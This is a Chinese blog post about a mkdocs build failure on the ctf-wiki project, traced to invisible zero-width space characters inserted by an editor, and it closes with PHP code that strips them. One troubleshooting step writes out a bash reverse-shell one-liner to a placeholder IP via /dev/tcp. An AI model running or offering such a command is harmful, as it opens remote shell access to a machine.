【记一次pull request的惨痛教训】不可见的分隔符之Zero-with-space
问题描述:
我在修改 ctf-wiki
目录后进行 mkdocs build
去生成索引目录的时候报错:
然后我尝试定位到第 2
行和第 288
行,这些行我似乎并没有修改过啊。
未果,开始去找师傅解决。
解决方案探索:
由于我不太懂 mkdocs
的运行机制,这个时候肯定是需要找刘师傅了。
方案一、 mkdocs
去 clean
缓存。
似乎这个想法是行不通了,不是根本原因。
方案二、改目录
我们开始猜想是不是路径中有中文的锅,改一下路径,未果。
方案三、反弹 shell
弄不出来了,我直接反弹一个 shell
给刘师傅。
bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1
似乎师傅觉得权限太小了,然后不让弄了23333,未果。
方案四、重新clone一遍
一般出现问题,从头来一遍就好了,然后我这么做了,重新改了一下索引,未果。
方案五、 git diff
定位源码
使用 git diff
看哪部分代码修改过了,发现了一些问题,明明两段代码一模一样的,却显示有被修改过的痕迹。
探索:
既然有点眉头了,我们开始猜测是不是 tab
和空格混淆了,但是我并没有修改过,几番猜测后可能是我的编辑器存在问题,我用 Typora
修改的目录,可能是因为编辑器的问题,自动加上了一些奇怪的东西进去。
开始尝试:
用 vim
去查看下目录文件,事情果然不简单:
这个 <200b>
是什么鬼东西,删掉再本地跑一下试试看先,果真是这个特殊字符的锅。
特意去维基百科上查阅了文档,发现这个学术名词叫 Zero-width-space
(零宽空格) ,是一种不可打印的 Unicode
字符,用于可能需要换行处。
简单理解,什么是零宽度空格?它是一个Unicode字符,它是一个空格,它没有宽度!
什么叫没有宽度?就是如果 2
个字母之间打了一个零宽度空格,你是看不见任何东西的,两个字母还是会挨在一起。而且更坑爹的是,就算你用的是等宽字体,它也看不见。
这种字符在高级编辑器中都是看不见这个符号的,只有 VIM
这种古老的编辑器才能看到。
有关这种特殊字元存在以下三种形式:
Unicode code point | character | UTF-8 (in literal) | name |
---|---|---|---|
U+200B | \xe2\x80\x8b | ZERO WIDTH SPACE | |
U+200C | | \xe2\x80\x8c | ZERO WIDTH NON-JOINER |
U+200D | | \xe2\x80\x8d | ZERO WIDTH JOINER |
我们在写入文件中应该用以下语法去过滤这三种字符:
// remove zero width space
$value = str_replace("\xe2\x80\x8b", '', $value);
$value = str_replace("\xe2\x80\x8c", '', $value);
$value = str_replace("\xe2\x80\x8d", '', $value);
扩展:
作 者:Angel_Kitty
出 处:https://www.cnblogs.com/ECJTUACM-873284962/
关于作者:阿里云ACE,目前主要研究方向是Web安全漏洞以及反序列化。如有问题或建议,请多多赐教!
版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。
特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是作者坚持原创和持续写作的最大动力!
欢迎大家关注我的微信公众号IT老实人(IThonest),如果您觉得文章对您有很大的帮助,您可以考虑赏博主一杯咖啡以资鼓励,您的肯定将是我最大的动力。thx.
我的公众号是IT老实人(IThonest),一个有故事的公众号,欢迎大家来这里讨论,共同进步,不断学习才能不断进步。扫下面的二维码或者收藏下面的二维码关注吧(长按下面的二维码图片、并选择识别图中的二维码),个人QQ和微信的二维码也已给出,扫描下面👇的二维码一起来讨论吧!!!
欢迎大家关注我的Github,一些文章的备份和平常做的一些项目会存放在这里。